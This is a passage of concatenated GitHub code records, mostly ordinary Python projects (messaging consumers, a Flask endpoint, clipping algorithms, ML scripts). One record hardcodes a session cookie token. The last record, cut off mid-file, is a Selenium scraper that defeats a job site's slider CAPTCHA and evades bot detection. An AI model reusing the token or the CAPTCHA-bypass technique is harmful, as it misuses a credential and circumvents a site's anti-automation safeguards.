RabbitMQ')\n self._channel.basic_cancel(self.on_cancelok, self._consumer_tag)\n\n def on_cancelok(self, unused_frame):\n \"\"\"This method is invoked by pika when RabbitMQ acknowledges the\n cancellation of a consumer. At this point we will close the channel.\n This will invoke the on_channel_closed method once the channel has been\n closed, which will in-turn close the connection.\n\n :param pika.frame.Method unused_frame: The Basic.CancelOk frame\n\n \"\"\"\n LOGGER.info('RabbitMQ acknowledged the cancellation of the consumer')\n self.close_channel()\n\n def close_channel(self):\n \"\"\"Call to close the channel with RabbitMQ cleanly by issuing the\n Channel.Close RPC command.\n\n \"\"\"\n LOGGER.info('Closing the channel')\n self._channel.close()\n\n def run(self):\n \"\"\"Run the example consumer by connecting to RabbitMQ and then\n starting the IOLoop to block and allow the SelectConnection to operate.\n\n \"\"\"\n LOGGER.info(\"Consumer %s is running...\" % self.consumer_name)\n assert self._connection is not None, \"Connection is None\"\n assert self._connection.is_open, \"Connection is closed\"\n self.open_channel()\n\n def stop(self):\n \"\"\"Cleanly shutdown the connection to RabbitMQ by stopping the consumer\n with RabbitMQ. When RabbitMQ confirms the cancellation, on_cancelok\n will be invoked by pika, which will then closing the channel and\n connection. The IOLoop is started again because this method is invoked\n when CTRL-C is pressed raising a KeyboardInterrupt exception. This\n exception stops the IOLoop which needs to be running for pika to\n communicate with RabbitMQ. All of the commands issued prior to starting\n the IOLoop will be buffered but not processed.\n\n \"\"\"\n LOGGER.info('Consummer %s is stopping' % self.consumer_name)\n self._closing = True\n try:\n self.stop_consuming()\n except (pika.exceptions.ConnectionClosed, pika.exceptions.ChannelClosed):\n # The consumer should already be closed\n # if the connection is closed.\n LOGGER.warn(\"The connection is closed when stop consumer\")\n\n LOGGER.info('Consumer %s is stopped' % self.consumer_name)\n\n def is_running(self):\n return self._channel.is_open\n\ndef main():\n url = 'amqp://guest:guest@localhost:5672/%2F'\n conn = pika.SelectConnection(pika.URLParameters(url))\n t = threading.Thread(target=conn.ioloop.start).start()\n\n c1 = Consumer(conn, 'amqp://guest:guest@localhost:5672/%2F', 'test')\n c2 = Consumer(conn, 'amqp://guest:guest@localhost:5672/%2F', 'test_queue')\n for c in (c1, c2):\n c.start()\n c.join()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"shuoqingding/rabbitmq_consumer_manager","sub_path":"consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":8358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11650358539","text":"#!flask/bin/python\nfrom flask import Flask\napp = Flask(__name__)\nfrom flask import Flask\nfrom flask import request\napp = Flask(__name__)\n@app.route('/postjson', methods=['POST'])\ndef post():\n print(request.is_file)\n content = request.get_file()\n #print(content)\n #print(content['id'])\n #print(content['name'])\n return 'JSON posted'\n\ndef post():\n print(request.is_json)\n content = request.get_json()\n #print(content)\n print(content['id'])\n print(content['name'])\n return 'JSON posted'\n\ndef api_response():\n from flask import jsonify\n if request.method == 'POST':\n return jsonify(**request.json)\n\napp.run(host='0.0.0.0', port=5020)\n\n\n\n\"\"\"\nimport cv2\nvidcap = cv2.VideoCapture('C:/Users/Utente/Downloads/videoplayback (5).mp4')\nsuccess,image = vidcap.read()\nount = 0\nwhile success:\n cv2.imwrite(\"C:/Users/Utente/Downloads/img/frame%d.jpg\" % count, image) # save frame as JPEG file\n success,image = vidcap.read()\n print('Read a new frame: ', success)\n count += 1\n\"\"\"\n\n","repo_name":"9carlo6/ClassiFire_Git","sub_path":"WebApp_FireSmoke/frame_extraction.py","file_name":"frame_extraction.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17118090263","text":"\ndef pointClipping(point, border):\n if point.locX < border[\"xmin\"] or point.locX > border[\"xmax\"] or point.locY < border[\"ymin\"] or point.locY > border[\"ymax\"]:\n return None\n else:\n return point\n\ndef lineClippingCohenSutherland(line, border):\n\n coords1 = getCohenSutherlandCoords(line.p1, border)\n coords2 = getCohenSutherlandCoords(line.p2, border)\n if coords1 == 0 and coords2 == 0:\n return line # Totalmente contido\n if coords1 & coords2 != 0:\n return None # Totalmente fora\n if coords1 != coords2 and coords1 & coords2 == 0:\n M = (line.p2.locY - line.p1.locY)/(line.p2.locX - line.p1.locX)\n if coords1 != 0:\n if not calculatePoint(M, coords1, line.p1, border):\n return None\n if coords2 != 0:\n if not calculatePoint(M, coords2, line.p2, border):\n return None\n return line\n\ndef calculatePoint(M, coords, point, border):\n xintersec = point.locX\n yintersec = point.locY\n if coords & (1<<1) > 0:\n yintersec = M * (border[\"xmax\"] - point.locX) + point.locY\n xintersec = border[\"xmax\"]\n elif coords & (1<<0) > 0:\n yintersec = M * (border[\"xmin\"] - point.locX) + point.locY\n xintersec = border[\"xmin\"]\n if yintersec >= border[\"ymin\"] and yintersec <= border[\"ymax\"]:\n point.locY = yintersec\n point.locX = xintersec\n return True\n if coords & (1<<3) > 0: \n xintersec = (border[\"ymax\"] - point.locY) / M + point.locX\n yintersec = border[\"ymax\"]\n elif coords & (1<<2) > 0:\n xintersec = (border[\"ymin\"] - point.locY) / M + point.locX\n yintersec = border[\"ymin\"]\n if xintersec >= border[\"xmin\"] and xintersec <= border[\"xmax\"]:\n point.locY = yintersec\n point.locX = xintersec\n return True\n if xintersec < border[\"xmin\"] or xintersec > border[\"xmax\"] or yintersec < border[\"ymin\"] or yintersec > border[\"ymax\"]:\n return False\n\ndef getCohenSutherlandCoords(point, border):\n bits = 0\n if point.locY >= border[\"ymax\"]:\n bits |= (1<<3) # Cima\n elif point.locY <= border[\"ymin\"]:\n bits |= (1<<2) # Baixo\n if point.locX >= border[\"xmax\"]:\n bits |= (1<<1) # Direita\n elif point.locX <= border[\"xmin\"]:\n bits |= (1<<0) # Esquerda\n return bits\n ","repo_name":"flametuner/computational-graphics","sub_path":"old/clipping.py","file_name":"clipping.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71401086189","text":"import os\n\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import inlineCallbacks, Deferred, returnValue\nfrom autobahn.wamp.exception import ApplicationError\nfrom autobahn.twisted.wamp import ApplicationSession, ApplicationRunner\n\nclass LpcQueries(ApplicationSession):\n\n @inlineCallbacks\n def onJoin(self, details):\n \n def chirp_state(*args):\n print('chirp_state(\"%s\")' % str(args))\n print(\"State changed from: {} to {}\".format(*args))\n yield self.subscribe(chirp_state, 'com.example.lpc00.state_change')\n\n def chirp_running(name):\n print (\"Running command: {}\".format(name))\n yield self.subscribe(chirp_running, 'com.example.lpc00.running_command')\n\n def chirp_ran(name):\n print (\"Ran command: {}\".format(name))\n yield self.subscribe(chirp_ran, 'com.example.lpc00.ran_command')\n\n returnValue(None)\n\n\n\nif '__main__' == __name__:\n import sys\n extra = dict(token = sys.argv[1:] or \"\")\n \n runner = ApplicationRunner(url=u\"ws://localhost:8080/ws\", realm=u\"realm1\", extra=extra)\n runner.run(LpcQueries)\n","repo_name":"brettviren/lpc","sub_path":"lpc/statedumper.py","file_name":"statedumper.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16178005142","text":"# https://www.udemy.com/automated-software-testing-with-python/learn/v4/t/lecture/7736868?start=0\r\n\r\na= 5\r\nb = 10\r\nmy_variable = 56\r\nmy_10_variable = 10\r\n\r\nstring_variable = \"hello\"\r\nsingle_quotes = 'strings can have single quotes...'\r\n\r\n\r\nprint(my_variable)\r\nprint(single_quotes)\r\n\r\n\r\n#===============================================================================\r\n# --------------------------------------------------------------\r\n# **FUNCTION DEFINITIONS**\r\n# --------------------------------------------------------------\r\ndef my_print(my_param):\r\n #result = str(my_param)\r\n #global my_param\r\n print(my_param)\r\n #print(\"World\")\r\n\r\n\r\ndef my_multiply_method(num_one, num_two):\r\n result = num_one * num_two\r\n print( \"The answer is: \" + str(result))\r\n\r\n\r\ndef my_multiply_method_2(num_one, num_two):\r\n return num_one * num_two\r\n\r\n #return \"The answer is: \" + str(result)\r\n #print( \"The answer is: \" + str(result))\r\n\r\n\r\n# --------------------------------------------------------------\r\n# ** FUNCTION DEFINITIONS END **\r\n# --------------------------------------------------------------\r\n\r\n# FUNCTION CALLS...\r\n#-------------------------------------------------------------------------------\r\n\r\n#my_print(\"Suzanne\")\r\n\r\n#my_print(str(9873495873))\r\n\r\n#my_multiply_method(5, 7)\r\n\r\n#result = my_multiply_method_2(45, 45)\r\n\r\n#print(result)\r\n#print(\"This is the output from function: my_multiply_method_2 \" + str(result))\r\n\r\n\r\n\r\n# pass function as argument to another function...\r\nmy_print(my_multiply_method_2(5, 3))\r\n","repo_name":"martdev1963/qa_automation_udemy","sub_path":"variables_methods.py","file_name":"variables_methods.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41504271752","text":"'''\nClass used as a model for Challenge items.\n'''\nclass Challenge:\n\n class Technology:\n DOCKER = 1\n VB = 2\n\n DIFFICULTY_LEVELS = { 1:\"Begginer\", 2:\"Intermediate\", 3:\"Advanced\" }\n\n # Constructor for Challenge object.\n def __init__(self, id, user_id, name, description, difficulty, technoligies, upload_timestamp, banner_path):\n self.id = id\n self.user_id = user_id\n self.name = name\n self.description = description\n self.difficulty = self.set_difficulty_level(difficulty)\n self.technoligies = technoligies\n self.upload_timestamp = upload_timestamp\n self.banner_path = banner_path\n \n # Function used to set difficulty to string from given integer.\n def set_difficulty_level(self, difficulty):\n if isinstance(difficulty, bool):\n return \"Unknown\"\n\n try:\n return self.DIFFICULTY_LEVELS[difficulty]\n except KeyError:\n return \"Unknown\" ","repo_name":"DontChewOnChewie/Final-Year-Project---Automatic-Virtualised-Learning-Tool","sub_path":"Flask App/Challenge.py","file_name":"Challenge.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19125812206","text":"import numpy as np\n\n\ndef accuracy(prediction: np.ndarray, reference: np.ndarray) -> float:\n r\"\"\"\n The accuracy function compute the top1 accuracy of predication array.\n .. math::\n acc=\\frac{1}{N}\\sum_i^N 1(p_i=r_i)\n\n where acc is the accuracy measurement, p is the predication array, r is the reference array and 1 is the indicator function.\n\n :param prediction: A numpy array of shape :math:`[N_b,N_s]` or :math:`[N_b,N_s,N_c]` where :math:`N_b` is the batch size, :math:`N_s` is the length of time sequence and :math:`N_c` is the number of class\n :param reference: A numpy array of shape :math:`[N_b,N_s]` or :math:`[N_b,N_s,N_c]` where :math:`N_b` is the batch size, :math:`N_s` is the length of time sequence and :math:`N_c` is the number of class\n :return: a floating point number that represent the accuracy measurement\n \"\"\"\n if len(prediction.shape) == 3:\n prediction = np.argmax(prediction, axis=-1)\n if len(reference.shape) == 3:\n reference = np.argmax(reference, axis=-1)\n if len(reference.shape) != 2 or len(prediction.shape) != 2:\n raise Exception('Input arrays must have 2 or 3 dimension')\n return float(np.mean(prediction == reference))\n","repo_name":"haihabi/PyNNcml","sub_path":"pynncml/metrics/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"28284132315","text":"i = 0\r\nnumbers = []\r\ndef while_loop():\r\n i = 0\r\n while i<8:\r\n print('The value of i is{}'.format(i))\r\n h = numbers.append(i)\r\n i += 1\r\n return h,i\r\nh,i = while_loop()\r\nprint('At last the value of i is {}'.format(i))\r\nprint(f'The list of numbers of i is {numbers}')","repo_name":"0001SID/Python","sub_path":"practice/while loop.py","file_name":"while loop.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25685767255","text":"import sys\n\nif len(sys.argv) < 2:\n\tprint('usage: python3 {} (text file name)'.format(sys.argv[0]))\n\texit()\n\ntry:\n\tf = open(sys.argv[1])\nexcept:\n\tprint('Cannot open file {}'.format(sys.argv[1]))\n\texit()\n\nstatemap = {};\nwhile True:\n\tline = f.readline()\n\tif (len(line) == 0):\n\t\tbreak;\n\tline = line.rstrip('\\n')\n\tpair = line.split(',')\n\tstate = pair[0].capitalize()\n\tcapitol = pair[1].capitalize()\n\tstatemap[state] = capitol;\n\tstatemap[capitol] = state;\nf.close()\n\nb = True\nwhile b:\n\ta = input(\"Type state/capital: \")\n\ta = a.capitalize()\n\tif a in statemap:\n\t\tprint(statemap[a])\n\telif a == \"Quit\":\n\t\tb = False\n\telse:\n\t\tprint('nil');\n","repo_name":"linPREVAIL555/project3","sub_path":"02_capitols.py","file_name":"02_capitols.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71637845548","text":"import requests\nimport sys\n\nYEAR = 2022\n\nif len(sys.argv) == 2:\n DAY = sys.argv[1]\nelse:\n print('In directory of day:')\n print('py ../getInput.py DAY')\n sys.exit()\n\nprint(f'{YEAR}, Day {DAY}')\n\ntokens = {\n 'session': '53616c7465645f5f237b5baf4b135686d23c2e2b4292fe0283c3315094335f6430b00e0487e8d93256efb702b24838a6d729e0aa2f6810bbfa0ac38accf49bdb '\n}\n\nr = requests.get(f'https://adventofcode.com/{YEAR}/day/{DAY}/input', cookies=tokens)\nopen(f'input.txt', 'wb').write(r.content)\n\nprint(r)\nif r.status_code == 200:\n print(f'Day {DAY} successfully downloaded :)')\nelif r.status_code == 500:\n print('Maybe Session cookie is expired')\nelif r.status_code == 404:\n print('Link Wrong or unavailable?')\n","repo_name":"gosueep/Coding-Competitions","sub_path":"Advent of Code/22/getInput.py","file_name":"getInput.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33573775310","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 12 17:20:29 2020\n\n@author: Mateusz\n\"\"\"\n\n\nfrom tkinter import Tk, Label, Button, mainloop, NW, BOTH, TOP, Entry\n\ndef inflect(slowo):\n t = 0\n while t<1:\n #slowo = entry.get() # input(\"\\nPodaj słowo którego odmiane chcesz otrzymać: \")\n print(\"\\n\")\n\n temp2=slowo\n\n #odmiana regularna\n dlugosc = len(slowo)-2\n #print(dlugosc)\n \n #len\n\n if (slowo[-3]=='e' and slowo[-2]=='l' and slowo[-1]=='n'):\n #print(\"2 opcja\")\n #ich\n slowo = slowo[0:len(slowo)-3]\n slowo = slowo + \"le\"\n print(\"Ich\",slowo)\n\n # du\n slowo = slowo[0:len(slowo)-2]\n slowo = slowo + \"elst\"\n print(\"Du\",slowo)\n\n # er/sie/es\n slowo = slowo[0:len(slowo)-4]\n slowo = slowo + \"elt\"\n print(\"Er / sie / es\",slowo)\n\n #wir\n print(\"Wir\",temp2)\n\n # Ihr\n slowo = slowo[0:len(slowo)-1]\n temp = \"t\"\n ihr = slowo + temp\n print(\"Ihr\",ihr)\n\n #Sie\n print(\"Sie\",temp2)\n \n # t, d\n\n elif slowo[-3]=='t' or slowo[-3]=='d':\n #print(\"3 opcja\")\n #ich\n slowo = slowo[0:len(slowo)-2]\n slowo = slowo + \"e\"\n print(\"Ich\",slowo)\n\n # du\n slowo = slowo[0:len(slowo)-1]\n slowo = slowo + \"est\"\n print(\"Du\",slowo)\n\n # er/sie/es\n slowo = slowo[0:len(slowo)-3]\n slowo = slowo + \"et\"\n print(\"Er / sie / es\",slowo)\n\n #wir\n print(\"Wir\",temp2)\n\n # Ihr\n slowo = slowo[0:len(slowo)-1]\n temp = \"t\"\n ihr = slowo + temp\n print(\"Ihr\",ihr)\n\n #Sie\n print(\"Sie\",temp2)\n \n # chn, ffn, kn, tm\n\n elif (slowo[-4]=='c' and slowo[-3]=='h'and slowo[-2]=='n') or (slowo[-5]=='f' and slowo[-4]=='f' and slowo[-3]=='n') or (slowo[-4]=='k' and slowo[-3]=='n') or (slowo[-4]=='t' and slowo[-3]=='m'):\n #print(\"4 opcja\")\n #ich\n slowo = slowo[:-1]\n print(\"Ich\",slowo)\n \n # du\n slowo = slowo[0:len(slowo)-1]\n slowo = slowo + \"est\"\n print(\"Du\",slowo)\n \n # er/sie/es\n slowo = slowo[0:len(slowo)-2]\n slowo = slowo + \"t\"\n print(\"Er / sie / es\",slowo)\n \n #wir\n print(\"Wir\",temp2)\n \n # Ihr\n slowo = slowo[0:len(slowo)-1]\n temp = \"t\"\n ihr = slowo + temp\n print(\"Ihr\",ihr)\n \n #Sie\n print(\"Sie\",temp2)\n \n # s,ss,z,B = ss\n\n elif slowo[-3]=='s' or slowo[-3]=='z' or slowo[-3]=='s' and slowo[-4]=='s' :\n #print(\"5 opcja\")\n #ich\n slowo = slowo[0:len(slowo)-2]\n slowo = slowo + \"e\"\n print(\"Ich\",slowo)\n \n # du\n slowo = slowo[0:len(slowo)-1]\n slowo = slowo + \"t\"\n print(\"Du\",slowo)\n \n # er/sie/es\n slowo = slowo[0:len(slowo)-1]\n slowo = slowo + \"t\"\n print(\"Er / sie / es\",slowo)\n\n #wir\n print(\"Wir\",temp2)\n\n # Ihr\n slowo = slowo[0:len(slowo)-1]\n temp = \"t\"\n ihr = slowo + temp\n print(\"Ihr\",ihr)\n \n #Sie\n print(\"Sie\",temp2)\n \n \n #odmiana regularna pozostałe przypadki:\n\n else:\n #print(\"1 opcja\")\n #ich\n slowo = slowo[:-1]\n print(\"Ich\",slowo)\n \n # du\n slowo = slowo[0:len(slowo)-1]\n slowo = slowo + \"st\"\n print(\"Du\",slowo)\n \n # er/sie/es\n slowo = slowo[0:len(slowo)-2]\n slowo = slowo + \"t\"\n print(\"Er / sie / es\",slowo)\n \n #wir\n print(\"Wir\",temp2)\n \n # Ihr\n slowo = slowo[0:len(slowo)-1]\n temp = \"t\"\n ihr = slowo + temp\n print(\"Ihr\",ihr)\n \n #Sie\n print(\"Sie\",temp2)\n \n# GUI\nwindow = Tk()\n\nlabel1 = Label(window,text='GERMAN VERBS',\n anchor=NW,\n fg='pink',\n font=('verdana',16,'bold'),padx=30,pady=30)\nlabel1.pack()\n\nlabel2 = Label\n\nentry = Entry(window, bg='white', font=('verdana',12))\nentry.pack(expand=False, fill=BOTH, side=TOP, padx=15, pady=15)\n \ndef display_inflection(slowo, inflection):\n inflection = inflect(slowo)\n infl_label.configure(text=inflection)\n\ninfl_button = Button(window,text='Show inflection',command=display_inflection, bg='pink', fg='white', font=('verdana',10))\ninfl_button.pack()\n\ninfl_label = Label(window, text='', anchor=NW, bg='light pink', fg='white', font=('verdana',12,),padx=30,pady=30)\ninfl_label.pack()\n\n#quit_button = Button(window,text= 'Quit',command=quit, bg='pink', fg='white', font=('verdana',10))\n#quit_button.pack() \n\n\n#go...\nmainloop()","repo_name":"Mateuszbury13/Python-project-Mateusz-Bury-Martyna-Dwornik","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41440518751","text":"import numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport tempfile\n\ntf.reset_default_graph()\ndata = pd.read_csv('heart.csv')\n\ndummy_data = pd.get_dummies(data['famhist'], prefix='famhist', drop_first=False)\ndata = pd.concat([data, dummy_data], axis=1)\n\ndata = data.drop(['famhist'], axis=1)\n\ncols = ['sbp', 'tobacco', 'ldl', 'adiposity', 'typea', 'obesity', 'alcohol', 'age']\n\nlabels = data['chd']\n# min-max scaling\nfor each in cols:\n data[each] = (data[each] - data[each].min()) / (data[each].max() - data[each].min())\n\nfeatures = data.drop(['chd'], axis=1)\nfeatures, labels = np.array(features), np.array(labels)\n\n\n# Define fraction to split into training and testing parts\nsplit_frac = 0.85\nn_records = len(features)\nsplit_idx = int(split_frac*n_records)\n\ntrain_X, train_Y = features[:split_idx], labels[:split_idx]\ntest_X, test_Y = features[split_idx:], labels[split_idx:]\n\nn_labels= 2\nn_features = 10\nlearning_rate = 0.1\nn_epochs= 300\nn_hidden1 = 10\n\ninputs = tf.placeholder(tf.float32, [None, 10], name='inputs')\nlabels = tf.placeholder(tf.int32, [None, ], name='output')\nlabels_one_hot = tf.one_hot(labels, 2)\n\nweights = {\n 'hidden_layer': tf.Variable(tf.truncated_normal([n_features, n_hidden1], stddev=0.1)),\n 'output': tf.Variable(tf.truncated_normal([n_hidden1, n_labels], stddev=0.1))\n }\n\nbias = {\n 'hidden_layer': tf.Variable(tf.zeros([n_hidden1])),\n 'output': tf.Variable(tf.zeros(n_labels))\n }\n\nhidden_layer = tf.nn.bias_add(tf.matmul(inputs, weights['hidden_layer']), bias['hidden_layer'])\nhidden_layer = tf.nn.relu(hidden_layer)\nlogits = tf.nn.bias_add(tf.matmul(hidden_layer, weights['output']), bias['output'])\n\nentropy = tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=labels_one_hot)\ncost = tf.reduce_mean(entropy)\n\noptimizer = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\n\ninit = tf.global_variables_initializer()\n# create a summary for our cost and accuracy\n# testing the model on test data\ncorrect_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(labels_one_hot, 1))\n# Calculate accuracy\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n\ngraph_location = tempfile.mkdtemp()\nprint('Saving graph to: %s' % graph_location)\ntrain_writer = tf.summary.FileWriter(graph_location)\ntrain_writer.add_graph(tf.get_default_graph())\n\n\nwith tf.Session() as sess:\n sess.run(init)\n for epoch in range(n_epochs):\n if epoch % 10 == 0:\n train_accuracy = sess.run(accuracy, feed_dict={\n inputs: train_X, labels: train_Y})\n print('step %d, training accuracy %g' % (epoch, train_accuracy))\n _, loss = sess.run([optimizer, cost], feed_dict={inputs: train_X, labels: train_Y})\n\n print(\"Out of sample accuracy:\", sess.run(accuracy, ({inputs: test_X, labels: test_Y})))\n","repo_name":"ArunTejCh/cmpe-297","sub_path":"TensorFlow-Tutorial/tf_heart_LGR.py","file_name":"tf_heart_LGR.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20031408775","text":"import json\n\nimport glob\n\n\nall_funcs = glob.glob('tmp/*ici_features*')\n\nfeatures = {}\nfor file in all_funcs:\n func_name = file.replace('tmp/ici_features_function.', '').replace('.fre.ft','')\n with open(file) as fp:\n filestr = fp.read()\n hm = [x.strip().split('=') for x in filestr.split(', ')]\n\n build = {}\n for h in hm:\n build[int(h[0].replace('ft', ''))] = h[1]\n\n features[func_name] = build\n\n\nwith open('features.json', 'w') as fp:\n json.dump(features, fp)\n","repo_name":"tarungog/bleh","sub_path":"features_script.py","file_name":"features_script.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6373996171","text":"# Prepare Charlie Conroy's SSP templates for use in redmonster\n#\n# Tim Hutchinson, April 2014\n# t.hutchinson@utah.edu\n#\n# May 2014 - now probably defunct, replaced by redmonster.templates.ssp_ztemplate.py\n\n\nfrom os import environ\nfrom os.path import join,exists\nfrom time import gmtime, strftime\n\nimport numpy as n\nfrom astropy.io import fits\nfrom scipy.ndimage.filters import gaussian_filter1d\n\nfrom redmonster.physics.misc import cen2bound, bound2cen\n\n\n# Assumes SSPs are a fits file located in $IDLSPEC2D_DIR/templates/SSPs/\n\nclass SSPPrep:\n \n def __init__(self, coeff1 = .0001, velmin=None, velstep=None, nvel=None,\n ssp_file = 'SSP_Padova_RRLIB_Kroupa_Z0.0190.fits'):\n self.ssp_path = None\n self.hdr = None\n self.specs = None\n self.wave = None\n self.wavebounds = None\n self.npix = None\n self.coeff0 = None\n self.coeff1 = coeff1\n self.velmin = velmin\n self.velstep = float(velstep) if velstep else None\n nvel = nvel\n ssp_file = ssp_file\n try:\n self.specdir = environ['IDLSPEC2D_DIR']\n except KeyError as e:\n self.specdir = None\n print(\"Enviromental variable 'IDSPEC2D_DIR' not set: %r\" % e)\n if self.specdir:\n self.ssp_path = join(self.specdir,\"%s\" % \"templates\",\"%s\" % \"SSPs\",\n \"%s\" % ssp_file)\n if exists(self.ssp_path):\n self.read_ssp()\n self.reduce_num() # THIS IS TEMPORARY JUST DURING TESTING\n self.unit_conv()\n self.rebin_ssp()\n if self.velmin and self.velstep and nvel:\n self.add_velo_disp(self.velmin, self.velstep, nvel)\n else: print(\"%s IS NOT A VALID PATH\" % self.ssp_path)\n \n def read_ssp(self):\n if exists(self.ssp_path):\n hdu = fits.open(self.ssp_path)\n self.hdr = hdu[0].header\n self.specs = n.reshape(hdu[1].data.SPEC,(188,-1))\n self.wave = hdu[1].data.LAMBDA[0]\n self.wavebounds = cen2bound(self.wave)\n logwavebounds = n.log10(self.wavebounds)\n self.coeff0 = logwavebounds[0]\n self.npix = int( n.floor( (logwavebounds[-1]-\n logwavebounds[0]) / self.coeff1 ) )\n \n # SSPs come in units of L_sun / Hz -- convert this to erg/s/Angstrom\n # to match BOSS spectra\n def unit_conv(self):\n self.specs = ( (3*10**18)/(self.wave**2) ) * (3.839*10**33) * self.specs\n \n def rebin_ssp(self):\n self.specs = gaussian_filter1d(self.specs,\n sigma=(self.specs.shape[1]/ \\\n float(self.npix)), order=0)\n # Binned wavebounds\n bwb = 10**(self.coeff0 + n.arange(self.npix)*self.coeff1)\n binspecs = n.zeros(shape=(self.specs.shape[0],self.npix))\n pixlowbound = 0\n parts = n.zeros(shape=(4,self.npix))\n for i in range(self.npix-1):\n parts[0,i] = max(n.where( (bwb[i+1] - self.wavebounds) > 0)[0])\n parts[1,i] = (bwb[i+1]-self.wavebounds[parts[0,i]]) / \\\n (self.wavebounds[parts[0,i]+1]-self.wavebounds[parts[0,i]])\n parts[2,i] = (self.wavebounds[pixlowbound]-bwb[i]) / \\\n (self.wavebounds[pixlowbound]-self.wavebounds[pixlowbound-1])\n parts[3,i] = pixlowbound\n pixlowbound = parts[0,i]+1\n for j in range(self.specs.shape[0]):\n for i in range(self.npix-1):\n binspecs[j,i] = ( sum(self.specs[j,parts[3,i]:parts[0,i]]) + (parts[1,i]*self.specs[j,parts[0,i]]) + (parts[2,i]*self.specs[j,parts[3,i]-1]) ) / ( (parts[0,i]-parts[3,i]) + parts[1,i] + parts[2,i] )\n self.specs = binspecs * (10**-31) # Rough normalization so SSP fluxes aren't ~50 orders of magnitude larger than BOSS fluxes\n self.wave = bound2cen(bwb)\n \n def add_velo_disp(self, velmin, velstep, nvel):\n velspecs = n.zeros(shape=(self.specs.shape[0], nvel, self.npix))\n for i in range(nvel): velspecs[:,i,:] = gaussian_filter1d(self.specs, sigma=(velmin + velstep*i)/69., order=0) # Divide by 69 due to d(loglam)/dpix = .0001 corresponding to dv/dpix ~ 69 km/s\n self.specs = velspecs\n \n def reduce_num(self):\n newtemps = n.zeros(shape=(self.specs.shape[0]/4., self.specs.shape[1]))\n for i in range(newtemps.shape[0]):\n newtemps[i] = self.specs[4*i]\n self.specs = newtemps","repo_name":"timahutchinson/redmonster","sub_path":"python/redmonster/datamgr/ssp_prep.py","file_name":"ssp_prep.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"2214398122","text":"from selenium import webdriver\nfrom lxml import html\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport time\nimport random\nimport re \n# 爬虫破解滑动验证码-https://www.cnblogs.com/moning/p/8318475.html\n# 下载chromedriver-https://blog.csdn.net/weixin_41990913/article/details/90936149\n# chromedriver安装配置-https://www.bilibili.com/read/cv4354566/\n# python3 selenium chromedriver被反爬识别的解决办法-https://blog.csdn.net/wywinstonwy/article/details/104902029\n# 解决视频教程-https://www.bilibili.com/video/BV1bT4y1u7FA/?spm_id_from=autoNext\n# 命令行执行命令-在chrome安装目录下方打开cmd\n# chrome --remote-debugging-port=9222(在执行程序前打开)\n\ndef get_job_detail(url):\n regjob = re.compile(r'https://(.*?)51job.com', re.S)\n it = re.findall(regjob, url)\n # 在字符串中找到正则表达式所匹配的所有子串,并返回一个列表\n if it != ['jobs.']: #如果匹配到的字符串中括号部分不为jobs. (我们需要匹配的url形式为https://jobs.51job.com/\n print(\"it = \",it)\n print('不匹配jobs')\n return\n # 配置chrome_options\n option = webdriver.ChromeOptions()\n option.binary_location = 'C:\\Program Files (x86)\\Google\\Chrome\\Application' #chrome安装地址\n option.add_experimental_option('debuggerAddress','127.0.0.1:9222') #测试端口\n driver=webdriver.Chrome(chrome_options=option) #新建一个driver\n # driver=webdriver.Chrome()\n driver.get(url) #打开链接\n time.sleep(0.1) #可以等一下页面加载\n res = html.etree.HTML(driver.page_source) # 获取当前页面的etree元素\n judge = res.xpath('/html/head/title/text()')[0] #获取属性判断是否为验证码界面\n print(\"judge = \",judge)\n if judge=='滑动验证页面':\n wait=WebDriverWait(driver,0.5)\n # wait的使用-https://blog.csdn.net/g123ggf/article/details/77776113\n distance = 260 + random.random()*100 #滑动distance的距离,random防止被反爬\n print(\"distance = \",distance)\n try:\n #定位class为nc_bg的元素\n button=wait.until(EC.presence_of_element_located((By.CLASS_NAME,'nc_bg')))\n ActionChains(driver).click_and_hold(button).perform() #按下鼠标\n 